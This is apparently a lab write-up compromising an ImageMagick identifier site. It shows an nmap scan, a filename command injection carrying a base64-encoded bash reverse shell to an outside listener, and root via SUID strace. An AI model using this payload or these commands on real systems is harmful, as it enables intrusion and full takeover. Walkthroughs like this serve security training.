Image

Nmap Scan

$ nmap -sC -sV -p- --min-rate 10000 -Pn -oN nmap 192.168.158.178
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-11 12:53 +08
Nmap scan report for 192.168.158.178
Host is up (0.0061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: ImageMagick Identifier
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.66 seconds

Initial Access

Port 80

There is a website that is running on port 80.

If we upload the any image file, it will return us the version of ImageMagick.

RCE vulnerability

After some searching online, there is an exploit that is tied to that version.

RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured · Issue #6339 · ImageMagick/ImageMagickGitHub

We will first encode the payload into base64.

Then we will use the base64 decoding to get our reverse shell

Reverse Shells | Pentest Bookpentestbook.six2dez.com

$ cp images.jpg '|images"`echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5Ni80NDQ0IDA+JjEn |base64 -d | bash`".jpg'

Finally, we will set the listener and upload the image file to trigger the reverse shell.

Privilege Escalation

SUID for strace

When we are searching for strace, we can see that there is a SUID bit enabled for the binary called strace.

Upon further searching, there is a privilege escalation vector with this binary.

strace | GTFOBinsgtfobins.github.io

Following the steps there, we are able to get root shell.

www-data@image:/home$ strace -o /dev/null /bin/sh -p
strace -o /dev/null /bin/sh -p
whoami
root